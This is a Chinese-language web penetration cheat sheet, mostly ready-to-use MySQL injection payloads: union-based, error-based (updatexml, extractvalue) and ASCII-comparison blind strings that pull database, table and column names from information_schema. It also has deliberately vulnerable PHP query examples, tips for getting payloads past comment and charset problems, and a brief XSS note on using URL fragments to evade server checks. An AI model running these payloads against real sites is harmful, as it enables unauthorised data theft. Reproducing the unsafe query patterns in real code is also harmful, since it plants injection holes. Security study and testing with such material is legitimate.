Web渗透笔记(实战指导)
文章目录
一、sql注入
1.回显正常
-- 获取当前用户、数据库
AND 1=2 UNION SELECT 1,user(),database()
-- 获取表名
AND 1=2 UNION SELECT 1,2,group_concat(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA = database()
-- 获取列名
AND 1=2 UNION SELECT 1,2,group_concat(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_NAME=table_name
2. 报错回显注入
- 利用updatexml()函数
-- 获取数据库名
and updatexml(1,concat(0x7e,(select database()),0x7e),1)
-- 获取表名
and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)
-- 获取列名
and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=table-name),0x7e),1)
- 利用extractvalue()函数
-- 获取数据库名
and extractvalue(0x0a,concat(0x0a,(select database())))
-- 获取表名
and extractvalue(0x0a,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))
-- 获取列名
and extractvalue(0x0a,concat(0x0a,(select column_name from information_schema.columns where table_name=table-name limit 0,1)))
3. 盲注
3.1 函数
- length()函数 返回字符串的长度
- substr(str, star, length)截取字符串
- ascii()返回字符的ascii码
- sleep(n):将程序挂起一段时间 n为n秒
- if(expr1,expr2,expr3):判断语句
3.2 流程
- 比较ascii
-- 获取数据库名
and ascii(substr(database(), 1, 1)) > 96
-- 获取表名
and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()), 1, 1)) > 96
-- 获取列名
and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=table_name), 1, 1)) > 96
4. 其他
简单分类
4.1 数字型注入
$id = $_GET("id");
sql = "select 1,2,3,4 from table where id = $id;";
4.2 字符型注入
$name = $_GET("name");
sql = "select 1,2,3,4 from table where name = '$name';";
//注入时需要考虑左单引号的闭合,以及右单引号的屏蔽。
4.3 搜索型注入
$name = $_GET("name");
sql = "select 1,2,3,4 from table where name = '$name';";
//注入时需要考虑%的闭合与屏蔽。
//注入点多在搜索框中出现。
4.4 提交表单型注入点
凡是可以提交到服务器,并有可能被写进sql语句的地方,都是注入点。
表单型注入一般存在于网页的表单提交信息的地方。
4.5 请求头注入点
凡是可以提交到服务器,并有可能被写进sql语句的地方,都是注入点。
请求头注入存在于特殊的网站,一般只有有可能利用到请求头信息的网站寻找注入点的必要。
杂项
- 如果因为字符集不同导致union查修不可以使用(报错:Illegal mix of collations for operation ‘UNION’),可用函数
convert(column_name using big5)
解决 - 有时候
--
等注释符后面的空格无效,可以用+
或%20
代替尝试。
注释
-
php注释风格
- 单行注释:
//
或者#
- 多行注释:
/*...*/
- 单行注释:
-
SQL注释风格
- 单行注释:
--
(注意需要有一个空格) - 单行注释:
#
(mysql特有) - 多行注释:
/*...*/
- 单行注释:
MYSQL数据库内建表
1. information_schema(mysql5.0版本以上)
- COULUMNS – 保存各种表的列名(COLUMN_NAME)及其他属性值
- TABLES – 保存各个表名(TABLE_NAME)及其他属性值
- SCHEMATA – 保存数据库名及(SCHEMA_NAME)其他属性值
二、XSS攻击
知识点
document.write()
函数可以向HTML文档输入任何内容,包括HTML标签,但是使用时需要注意转义一下字符(如'
"
script标签中的 /
等)。- URL中#后面的内容不会被传到服务器上,XSS攻击可利用这一天绕过服务器的检测。